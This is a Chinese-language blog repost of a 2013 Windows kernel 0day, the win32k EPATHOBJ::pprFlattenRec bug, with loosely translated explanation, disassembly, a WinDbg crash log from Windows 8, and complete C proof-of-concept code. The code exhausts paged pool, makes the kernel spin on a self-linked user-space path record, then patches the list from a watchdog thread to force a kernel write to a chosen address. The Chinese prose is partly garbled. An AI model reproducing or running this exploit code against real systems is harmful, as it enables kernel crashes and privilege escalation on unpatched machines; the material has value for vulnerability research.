Windows内核EPATHOBJ 0day漏洞

漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历。 如:PathRecord->next = PathRecord; 

虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。
首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool失败。

pprFlattenRec :

 

.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)

.text:BFA122BD cmp eax, 1 ; Check for failure

.text:BFA122C0 jz short continue

.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit所以要创建一个这样的节点列表:

PathRecord->Next = PathRecord;

PathRecord->Flags = 0;然后 EPATHOBJ::bFlatten()自旋:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)

{

/* ... */

for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )

{

if ( ppr->flags & PD_BEZIER )

{

ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);

}

}

/* ... */

}可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞 从

/ / EPATHOBJ的:: bFlatten()第一个pprFlattenRec代码块:

 

if ( pprNew->pprPrev )

pprNew->pprPrev->pprnext = pprNew;

写入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter)

{     ## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。

LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”,

GetCurrentThreadId(),

Mutex);     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

## 使主(main)线程无法调用FlattenPath(),

## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).

## 然后打补丁列表来触发我们的exploit.

while (NumRegion–)

DeleteObject(Regions[NumRegion]);        

LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”,

&PathRecord->next, &ExploitRecord);      

InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);     } else {

LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”);

}     return 0;

} PathRecord->next = PathRecord;

PathRecord->prev = (PVOID)(0×42424242);

PathRecord->flags = 0;

ExploitRecord.next = NULL;

ExploitRecord.prev = 0xCCCCCCCC;

ExploitRecord.flags = PD_BEZIERS;在Win 8下的输出:

kd> g

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 50, {cccccccc, 1, 8f18972e, 2}

*** WARNING: Unable to verify checksum for ComplexPath.exe

*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe

Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )

Followup: MachineOwner

---------

nt!RtlpBreakWithStatusInstruction:

810f46f4 cc              int 3

kd> kv

ChildEBP RetAddr  Args to Child             

a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])

a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])

a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])

a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6

a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19

a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868

a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])

a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)

a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])

a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])

a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])

a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)

0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])

0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])

WARNING: Stack unwind information not available. Following frames may be wrong.

0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f

0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade

0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])

0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])

0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])

kd> .trap a03aba2c

ErrCode = 00000002

eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8

eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286

win32k!EPATHOBJ::pprFlattenRec+0x82:

8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????

kd> vertarget

Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible

Product: WinNt, suite: TerminalServer SingleUserTS

Built by: 9200.16581.x86fre.win8_gdr.130410-1505

Machine Name:

Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48

Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)

System Uptime: 0 days 0:02:30.432

kd> .bugcheck

Bugcheck code 00000050

Arguments cccccccc 00000001 8f18972e 00000002以下是示例代码POC::

#ifndef WIN32_NO_STATUS

# define WIN32_NO_STATUS

#endif

#include <windows.h>

#include <assert.h>

#include <stdio.h>

#include <stddef.h>

#include <winnt.h>

#ifdef WIN32_NO_STATUS

# undef WIN32_NO_STATUS

#endif

#include <ntstatus.h>

#pragma comment(lib, "gdi32")

#pragma comment(lib, "kernel32")

#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)

#define MAX_REGIONS 8192

#define CYCLE_TIMEOUT 10000

//

// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.

//

// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013

//

POINT       Points[MAX_POLYPOINTS];

BYTE PointTypes[MAX_POLYPOINTS];

HRGN Regions[MAX_REGIONS];

ULONG NumRegion;

HANDLE Mutex;

// Log levels.

typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK

#define PD_BEGINSUBPATH   0x00000001

#define PD_ENDSUBPATH     0x00000002

#define PD_RESETSTYLE     0x00000004

#define PD_CLOSEFIGURE    0x00000008

#define PD_BEZIERS        0x00000010

typedef struct _POINTFIX

{

ULONG x;

ULONG y;

} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.

typedef struct _PATHRECORD {

struct _PATHRECORD *next;

struct _PATHRECORD *prev;

ULONG flags;

ULONG count;

POINTFIX            points[0];

} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;

PATHRECORD  ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter)

{

// This routine waits for a mutex object to timeout, then patches the

// compromised linked list to point to an exploit. We need to do this.

LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",

GetCurrentThreadId(),

Mutex);

if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

// It looks like the main thread is stuck in a call to FlattenPath(),

// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

// up, and then patch the list to trigger our exploit.

while (NumRegion--)

DeleteObject(Regions[NumRegion]);

LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

} else {

LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");

}

return 0;

}

int main(int argc, char **argv)

{

HANDLE Thread;

HDC Device;

ULONG Size;

HRGN Buffer;

ULONG PointNum;

ULONG Count;

// Create our PATHRECORD in userspace we will get added to the EPATHOBJ

// pathrecord chain.

PathRecord = VirtualAlloc(NULL,

sizeof(PATHRECORD),

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

// Initialise with recognisable debugging values.

FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

PathRecord->next    = PathRecord;

PathRecord->prev    = (PVOID)(0x42424242);

// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。

// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

// loop in EPATHOBJ::bFlatten().

PathRecord->flags   = 0;

LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);

LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);

LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

ExploitRecord.next  = NULL;

ExploitRecord.prev  = 0xCCCCCCCC;

ExploitRecord.flags = PD_BEZIERS;

LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);

// Generate a large number of Bezier Curves made up of pointers to our

// PATHRECORD object.

for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

Points[PointNum].x      = (ULONG)(PathRecord) >> 4;

Points[PointNum].y      = (ULONG)(PathRecord) >> 4;

PointTypes[PointNum]    = PT_BEZIERTO;

}

// Switch to a dedicated desktop so we don't spam the visible desktop with

// our Lines (Not required, just stops the screen from redrawing slowly).

SetThreadDesktop(CreateDesktop("DontPanic",

NULL,

NULL,

0,

GENERIC_ALL,

NULL));

Mutex = CreateMutex(NULL, TRUE, NULL);

// Get a handle to this Desktop.

Device = GetDC(NULL);

// Spawn a thread to cleanup

Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

// We need to cause a specific AllocObject() to fail to trigger the

// exploitable condition. To do this, I create a large number of rounded

// rectangular regions until they start failing. I don't think it matters

// what you use to exhaust paged memory, there is probably a better way.

//

// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

// failure. Seriously, do some damn QA Microsoft, wtf.

for (Size = 1 << 26; Size; Size >>= 1) {

while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))

NumRegion++;

}

LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

LogMessage(L_INFO, "Flattening curves...");

// Begin filling the free list with our points.

for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {

BeginPath(Device);

PolyDraw(Device, Points, PointTypes, PointNum);

EndPath(Device);

FlattenPath(Device);

FlattenPath(Device);

EndPath(Device);

}

LogMessage(L_INFO, "No luck, cleaning up");

// If we reach here, we didn't trigger the condition. Let the other thread know.

ReleaseMutex(Mutex);

ReleaseDC(NULL, Device);

WaitForSingleObject(Thread, INFINITE);

return 0;

}

// A quick logging routine for debug messages.

BOOL LogMessage(LEVEL Level, PCHAR Format, ...)

{

CHAR Buffer[1024] = {0};

va_list Args;

va_start(Args, Format);

vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);

va_end(Args);

switch (Level) {

case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;

case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;

case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;

case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;

}

fflush(stdout);

fflush(stderr);

return TRUE;

}

posted @ 2013-06-14 21:30  数翼  阅读(537)  评论(0编辑  收藏  举报